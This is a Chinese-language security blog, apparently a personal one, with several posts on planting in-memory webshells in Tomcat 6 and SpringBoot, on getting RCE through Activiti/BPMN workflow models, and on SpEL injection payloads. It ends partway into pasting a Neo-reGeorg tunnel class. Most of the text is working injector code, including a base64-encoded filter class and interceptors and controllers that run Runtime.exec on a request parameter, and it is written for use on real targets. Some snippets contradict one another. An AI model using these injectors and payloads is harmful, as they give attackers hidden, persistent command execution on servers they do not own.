Tomcat6 注入内存马

前言

和大哥们学新的姿势,感觉自己已经变成idea的性状了,这里的大哥说话又好听,我超喜欢这里的.jpg
以下是参考(抄袭)文章列表
怎么说呢,这几周玩了下java,大概也有点感觉了,打内存马就和win32寻址一样。

首先先解决在哪里打,也就是获取上下文standardContext,在栈上寻址找到这个地址,哦不对,在java中应该叫做对象。

然后再基于这个对象派生,找到管理filter的这些列表,正常程序流程访问网页肯定是先检查一个filter列表,看看是否匹配,匹配就丢给filter处理,然后filter处理完再往下丢给servlet/controller这些处理。我们要做的就是找到那个filter列表的地址,然后想办法把我们的内存马加进去

怎么加呢?那肯定就是得先找到注册函数,把我们内存马注册成一个filter,依旧是从栈上派生出来,还是一个寻址问题。总体感觉jvav大差不差,还是能理解的。

当然,理解是一回事,真的要我写一套完整项目,那就是另一回事了.jpg

注意点

线程加载问题

加载Filter Class的时候,不能用系统ClassLoader,得用当前线程的Loader,不然会报找不到org.servlet.Filter

Method defineClass = 
ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);defineClass.setAccessible(true);
byte[] code = {};
Class filter = (Class)defineClass.invoke(Thread.currentThread().getContextClassLoader(),code,0,code.length);
Object testFilter = filter.newInstance();

得用Thread.currentThread().getContextClassLoader(),不能用ClassLoader.getSystemClassLoader(),MD就被这个坑了一天。

同样还是线程加载问题

如果类似注入点的地方获取不到线程,或者是由其他线程创建的,比如如果在tomcat的Servlet中用ClassLoader.getSystemClassLoader()加载class(没错我就是这么干的),可以考虑用反射

Class<?> FilterDefClass = 
Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterDef");
Object filterDef = FilterDefClass.newInstance();

的方式强行加载,虽然没啥用。。但是之前被卡在线程那里太久了导致我把这些加载不到的都换成了

完整代码

运行流程,东抄抄西抄抄,先从利用shiro反序列化注入冰蝎内存马把Tomcat678抄出来,然后再从tomcat6、7、8、9内存马把注入流程抄出来,然后缝合一下,就好了

先把Filter代码打包成class

package com;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import javax.servlet.*;

public class testFilter implements Filter{
    public testFilter() {
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
        if (servletRequest.getParameter("cmd") != null){
            servletResponse.getWriter().write("Inject OK!");
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }
    @Override
    public void destroy() {
    }
}

然后编译注入器代码

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Properties;

public class TomcatMemShellInject {
    String uri;
    String serverName;
    Object standardContext;

    public static byte[] base64Decode(String str) throws Exception {
        Class clazz;
        try {
            clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception var3) {
            clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }

    private final static String filterName = "TomcatMemShellInject";

    public byte[] getContent(String filePath) throws IOException {
        File file = new File(filePath);
        long fileSize = file.length();
        if (fileSize > Integer.MAX_VALUE) {
            System.out.println("file too big...");
            return null;
        }
        FileInputStream fi = new FileInputStream(file);
        byte[] buffer = new byte[(int) fileSize];
        int offset = 0;
        int numRead = 0;
        while (offset < buffer.length
                && (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0) {
            offset += numRead;
        }
        // 确保所有数据均被读取
        if (offset != buffer.length) {
            throw new IOException("Could not completely read file "
                    + file.getName());
        }
        fi.close();
        return buffer;
    }

    public TomcatMemShellInject() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, ClassNotFoundException, IOException {
        Tomcat678();
        try {
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            String result = "yv66vgAAADIATAoADAAoCQApACoIABsKACsALAgALQsALgAvCwAwADEIADIKADMANAsANQA2BwA3BwA4BwA5AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL3Rlc3RGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAOgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAkdGVzdEZpbHRlci5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAOAA8HADwMAD0APgcAPwwAQABBAQADY21kBwBCDABDAEQHAEUMAEYARwEACkluamVjdCBPSyEHAEgMAEkAQQcASgwAGwBLAQAOY29tL3Rlc3RGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWACEACwAMAAEADQAAAAQAAQAOAA8AAQAQAAAAMwABAAEAAAAFKrcAAbEAAAACABEAAAAKAAIAAAAJAAQACgASAAAADAABAAAABQATABQAAAABABUAFgACABAAAAA1AAAAAgAAAAGxAAAAAgARAAAABgABAAAADwASAAAAFgACAAAAAQATABQAAAAAAAEAFwAYAAEAGQAAAAQAAQAaAAEAGwAcAAIAEAAAAI0AAwAEAAAAKLIAAhIDtgAEKxIFuQAGAgDGAA8suQAHAQASCLYACbEtKyy5AAoDALEAAAADABEAAAAaAAYAAAATAAgAFAATABUAHgAWAB8AGAAnABkAEgAAACoABAAAACgAEwAUAAAAAAAoAB0AHgABAAAAKAAfACAAAgAAACgAIQAiAAMAIwAAAAMAAR8AGQAAAAYAAgAaACQAAQAlAA8AAQAQAAAAKwAAAAEAAAABsQAAAAIAEQAAAAYAAQAAABwAEgAAAAwAAQAAAAEAEwAUAAAAAQAmAAAAAgAn";
            byte[] code = base64Decode(result);
            ;
            Class filter = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), code, 0, code.length);
            Object testFilter = filter.newInstance();
            Class<?> FilterDefClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterDef");
            Object filterDef = FilterDefClass.newInstance();
            FilterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, filterName);
            Method addFilterDef = standardContext.getClass().getMethod("addFilterDef", FilterDefClass);
            addFilterDef.invoke(standardContext, filterDef);
            filterDef.getClass().getMethod("setFilterClass", String.class).invoke(filterDef, testFilter.getClass().getName());
            Class<?> FilterMapClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterMap");
            Object filterMap = FilterMapClass.getConstructor(new Class[]{}).newInstance();
            String setFilterName = (String) FilterDefClass.getMethod("getFilterName").invoke(filterDef);
            FilterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, setFilterName);
            FilterMapClass.getMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST");
            FilterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*");
            Method addFilterMap = standardContext.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);
            addFilterMap.invoke(standardContext, filterMap);
            Object tmpFilterDef = FilterDefClass.newInstance();
            FilterDefClass.getMethod("setFilterClass", String.class).invoke(tmpFilterDef, "org.apache.catalina.ssi.SSIFilter");
            FilterDefClass.getMethod("setFilterName", String.class).invoke(tmpFilterDef, filterName);
            Class<?> ContextClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Context");
            Class<?> applicationFilterConfigClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.core.ApplicationFilterConfig");
            Constructor<?> applicationFilterConfigConstructor = applicationFilterConfigClass.getDeclaredConstructor(ContextClass, FilterDefClass);
            applicationFilterConfigConstructor.setAccessible(true);
            Properties properties = new Properties();
            properties.put("org.apache.catalina.ssi.SSIFilter", "123");
            Field restrictedFiltersField = applicationFilterConfigClass.getDeclaredField("restrictedFilters");
            restrictedFiltersField.setAccessible(true);
            restrictedFiltersField.set(null, properties);
            Object filterConfig = applicationFilterConfigConstructor.newInstance(standardContext, tmpFilterDef);
            Field filterField = filterConfig.getClass().getDeclaredField("filter");
            filterField.setAccessible(true);
            filterField.set(filterConfig, testFilter);
            Field filterDefField = filterConfig.getClass().getDeclaredField("filterDef");
            filterDefField.setAccessible(true);
            filterDefField.set(filterConfig, filterDef);
            Class<?> StandardContextClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.core.StandardContext");
            Field filterConfigsField = StandardContextClass.getDeclaredField("filterConfigs");
            filterConfigsField.setAccessible(true);
            HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext);
            filterConfigs.put(filterName, filterConfig);
            filterConfigsField.set(standardContext, filterConfigs);
            System.out.println("Inject OK");
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    public Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (Exception e) {
                // field不存在,错误不抛出,测试时可以抛出
            }
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public void getStandardContext() {
        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {
            if (thread == null) {
                continue;
            }
            // 过滤掉不相关的线程
            if (!thread.getName().contains("StandardEngine")) {
                continue;
            }

            Object target = this.getField(thread, "target");
            if (target == null) {
                continue;
            }
            HashMap children;

            try {
                children = (HashMap) getField(getField(target, "this$0"), "children");
                //org.apache.catalina.core.StandardHost standardHost = (org.apache.catalina.core.StandardHost) children.get(this.serverName);
                children = (HashMap) getField(children.get(this.serverName), "children");
                Iterator iterator = children.keySet().iterator();
                while (iterator.hasNext()) {
                    String contextKey = (String) iterator.next();
                    if (!(this.uri.startsWith(contextKey))) {
                        continue;
                    }
                    // /spring_mvc/home/index startsWith /spring_mvc
                    //StandardContext standardContext =  children.get(contextKey);
                    System.out.println(children.get(contextKey).getClass().getName());
                    this.standardContext = children.get(contextKey);

                    System.out.println("here");
                    // 添加内存马
                    return;
                }
            } catch (Exception e) {
                continue;
            }
            if (children == null) {
                continue;
            }
        }
    }

    public void Tomcat678() {


        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {

            if (thread == null) {
                continue;
            }
            if (thread.getName().contains("exec")) {
                continue;
            }
            Object target = this.getField(thread, "target");
            if (!(target instanceof Runnable)) {
                continue;
            }

            try {
                object = getField(getField(getField(target, "this$0"), "handler"), "global");
            } catch (Exception e) {
                continue;
            }
            if (object == null) {
                continue;
            }
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();

                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) {
                    continue;
                }
                // 不是对应的请求时,serverPort = -1
                System.out.println(getField(req, "serverNameMB").getClass().getName());
                //org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                this.serverName = (String) getField(getField(req, "serverNameMB"), "strValue");
                if (this.serverName == null) {
                    this.serverName = getField(req, "serverNameMB").toString();
                }
//                if (this.serverName == null){
//                    this.serverName = serverNameMB.getString();
//                }

                //org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "decodedUriMB");
                this.uri = (String) getField(getField(req, "decodedUriMB"), "strValue");
                if (this.uri == null) {
                    this.uri = getField(req, "decodedUriMB").toString();
                }
//                if (this.uri == null){
//                    this.uri = uriMB.getString();
//                }

                this.getStandardContext();
                return;
            }
        }
    }
}
Tags: java, 内存马, tomcat

Activiti/Workflow/bpmn 引擎代码执行问题

前言

正好实战遇到几次了,发出来记录一下
直接先上参考文献:Activiti BPMN流程引擎使用不当导致的相关RCE问题

代码也直接参考这个就行。

一般我们只需要留意后台中是否有关键字,比如流程图。workflow之类的,或者查看返回包中的json

比如:
1.jpg
再比如:
2.jpg
我们只要确定我们能修改模型和部署模型的权限就成。

或者留意前端请求,长得像这样
3.jpg
落实到前端就是长得像这样:
4.png
只要这套站是java,并且我们有权限修改模型。

一般模型形式都是长得像这样

{
    "resourceId": "eb39ae1e2dd14910a165323fdcfd807e",
    "properties": {
        "process_id": "test",
        "name": "rwar",
        "documentation": "",
        "process_author": "",
        "process_version": "2",
        "process_namespace": "archive_od",
        "executionlisteners": [],
        .....
}

或者是 在前端直接传输bpmn
4.jpg

这种的我们都能直接打。xml的话可以直接传xml,json的话可以用以下代码,转换为json

byte[] b = "bpmn xml bytes";
InputStream bpmnStream = new ByteArrayInputStream(b);// 获取bpmn2.0规范的xml
XMLInputFactory xif = XMLInputFactory.newInstance();
InputStreamReader in = new InputStreamReader(bpmnStream, "UTF-8");
XMLStreamReader xtr = xif.createXMLStreamReader(in);
// 然后转为bpmnModel
BpmnModel bpmnModel = new BpmnXMLConverter().convertToBpmnModel(xtr);
// bpmnModel转json
BpmnJsonConverter converter = new BpmnJsonConverter();
com.fasterxml.jackson.databind.node.ObjectNode editorJsonNode = converter.convertToJson(bpmnModel);
System.out.println(editorJsonNode);

然后就可以调用class或者是EL代码直接执行了

后端审计

如果我们拿到的是一套代码如何快速发现利用点呢?

我们只需要三个条件

  • 注入模型可控
  • 能获取到启动条件
  • 启动条件可控

三个却一不可,少一个都跑不起来,落实到代码就是,this.repositoryService.saveModel的参数是否可控,能否获取到processDefinitionId的值,或者不用这个值,取决于代码运行时候要求的内容,还有就是最后的this.runtimeService能否运行我们的模型

对于Activiti BPMN流程引擎使用不当导致的相关RCE问题中给了个例子。

runtimeService.startProcessInstanceByKey("hireProcessWithJpa", vars);

其中的hireProcessWithJpakey就是对应的bpmn的key,但是实际情况可能并不会使用startProcessInstanceByKey。
一个比较经典的情况就是

ProcessInstanceBuilder processInstanceBuilder = this.runtimeService.createProcessInstanceBuilder();
if (processDefinitionId != null) {
processInstanceBuilder.processDefinitionId(processDefinitionId);
}
if (startVariables != null) {
processInstanceBuilder.variables(startVariables);
}
ProcessInstance instance = processInstanceBuilder.start();

这段代码就是根据processDefinitionId来启动流程,所以对于不通的代码我们要落实不同的方法,但是一般只要盯着this.runtimeService看就行

然后下次遇到这些,就能愉快的日下来辣

Tags: rce, activiti, workflow, bpmn

SpringBoot 内存马 && SPEL注入内存马

前言

萌新第一次玩java,水一篇文章

SpringBoot 内存马类别

controller 控制器内存马

什么是控制器内存马?按照其他语言的理解,就是在原有的路由上增加一条路由
使用网络上的代码动态添加路由

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
assert context != null;
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method = InjectToController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController();
mappingHandlerMapping.registerMapping(info, injectToController, method);

注入controller内存马的时候遇到 Expected lookupPath in request attribute 报错问题

注入的时候遇到这个错误

java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".

这是由于springboot对路由匹配方式进行修改
这再springboot 2.6.0之后就会遇到,一般而言解决方案是再properties添加如下然后重启

spring.mvc.pathmatch.matching-strategy=ANT_PATH_MATCHER

或者降低版本,但是我实际注入的时候肯定不能直接就这么轻松修改,所以得替换成如下方式

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
        (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = Evil.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/test2")
        .options(config)
        .build();
Evil springControllerMemShell = new Evil("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

完整代码

package com.example.springtest;

import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Method;

public class Evil {
    public Evil() {

    }

    public void test() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse();
        System.out.println(request.getParameter("cmd"));
        Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    public static String inject() throws NoSuchMethodException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config =
                (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        Method method2 = Evil.class.getMethod("test");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = RequestMappingInfo.paths("/test2")
                .options(config)
                .build();
        Evil springControllerMemShell = new Evil();
        mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
        return "ok";
    }
    
}

Interceptor 拦截器内存马

Controller虽然简单明了,但是面对有些路由收到保护的站点的时候,就有些局限性了。

最典型的是如果你没有登录,所有路由都被跳转到/login,这样子你如果没能登录就没办法执行到你的内存马了,所以这时候就要添加一个拦截器类型的内存马,代码如下

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
        (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = Evil.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/test2")
        .options(config)
        .build();
Evil springControllerMemShell = new Evil("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

完整代码

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
public class Evil extends HandlerInterceptorAdapter {
    public Evil() {

    }
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        System.out.println("VulInterceptor Running...");
        if(code != null){
            try {
                Runtime.getRuntime().exec(code);
            }catch (Exception e){
            }
            return false;
        }
        return true;
    }
    public static String injectInterceptor(){
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(requestMappingHandlerMapping);
            Evil vulInterceptor = new Evil();
            adaptedInterceptors.add(vulInterceptor);
            return "inject ok...";
        }catch (Exception ex)
        {
            return "inject fail...";
        }
    }
}

实战环境中构造函数递归问题

在实战环境中,我们的调用并不会放到main中,而是丢到析构函数Evil()中,所以在我们析构函数调用注入器,装载注册器的时候,有一段代码

 Evil vulInterceptor = new Evil();
 adaptedInterceptors.add(vulInterceptor);

中,就又加载了Eval函数,然后又调用析构函数,然后又执行这段代码又装载注入器.....这就造成了递归,所以我们得需要对这块进行一些处理

如何处理呢?就是简单的加一个参数,判断是否由注册器加载,如果是注册器就掠过,不是则执行注册器
析构函数关键代码:

public Evil(int aaa)
{
  if(aaa != 111){
      do_inject();
  }
}

注册器关键代码

Evil vulInterceptor = new Evil(111);
 adaptedInterceptors.add(vulInterceptor);

这样就不会递归了,但是我们加载这个的时候,遇到另一个问题,普通的newInstance是没办法带参数的。所以我们就要修改成带参数调用newInstance,我们假设我们的恶意class由base64传递

完整代码

注入器部分

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("恶意class的base64");
Class Evil = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"Evil",code,0,code.length);
Constructor constructor=Evil.getDeclaredConstructor(int.class);//这里要设置和析构函数的参数一样,我们Eval里只有一个int所以就设置成int
constructor.setAccessible(true);
constructor.newInstance(222);

恶意类部分

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
public class Evil extends HandlerInterceptorAdapter {
    public Evil(int aaa) throws NoSuchMethodException ,NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        if(aaa != 111){
            inject();
            injectInterceptor();
            System.out.println("Inject ok");
        }
    }

    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        System.out.println(request.getRequestURI());
        if(request.getRequestURI().equals("/check")){
            java.io.PrintWriter printWriter = response.getWriter();
            printWriter.write("Interceptor inject ok!");
            printWriter.flush();
            printWriter.close();
        }

        if(code != null){
            try {
                Runtime.getRuntime().exec(code);
            }catch (Exception e){
            }
            return false;
        }
        return true;
    }
    public void test() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse();
        Runtime.getRuntime().exec(request.getParameter("cmd"));
        response.getWriter().write("ok");
    }
    public static String inject() throws NoSuchMethodException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config =
                (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        Method method2 = Evil.class.getMethod("test");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = RequestMappingInfo.paths("/test2")
                .options(config)
                .build();
        Evil springControllerMemShell = new Evil(111);
        mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
        return "ok";
    }
    
    public static String injectInterceptor(){
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(requestMappingHandlerMapping);
            Evil vulInterceptor = new Evil(111);
            adaptedInterceptors.add(vulInterceptor);
            return "inject ok...";
        }catch (Exception ex)
        {
            return "inject fail...";
        }
    }
}

SPEL注入内存马

SPEL表达式一定程度上能执行java代码,那么能执行代码就非常简单了,直接调用defineclass把我们的恶意class加载进去执行不就完事了。

这里不考虑过滤and拦截的情况,实战肯定会遇到各种奇奇怪怪的情况的

获取java版本

#{T(java.lang.System).getProperty("java.version")}

获取springboot版本

#{T(org.springframework.boot.SpringBootVersion).getPackage()}

注入内存马,直接照抄上面的base64注入即可

T(org.springframework.cglib.core.ReflectUtils)
.defineClass(
    'Evil',
    T(com.sun.org.apache.xml.internal.security.utils.Base64)
    .decode('base64'),T(org.springframework.util.ClassUtils).getDefaultClassLoader()
).getDeclaredConstructor(T(int)).newInstance(222)

注入Neo-reGeorg到内存马

Neo-reGeorg直接生成了java文件,非常的方便我们使用。先运行
python neoreg.py generate -k password 生成server模板,
然后把我们的的java模板提取出来,直接看jsp关键代码

Object[] args = new Object[]{ ... }
 Class clazz = new U(this.getClass().getClassLoader()).g(clazzBytes);
application.setAttribute("ok",clazz.newInstance());
application.getAttribute("ok").equals(args);

基本就是一个把byte的class文件反射加载到内存然后调用equals,但是我们注入的时候本来就是class了,所以不需要再进行一次byte转class操作,直接在同一个类下调用就行。完整代码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.NetworkInterface;
import java.net.URL;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.security.SecureRandom;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Collections;
import java.util.Enumeration;
import java.util.Iterator;
import java.util.List;
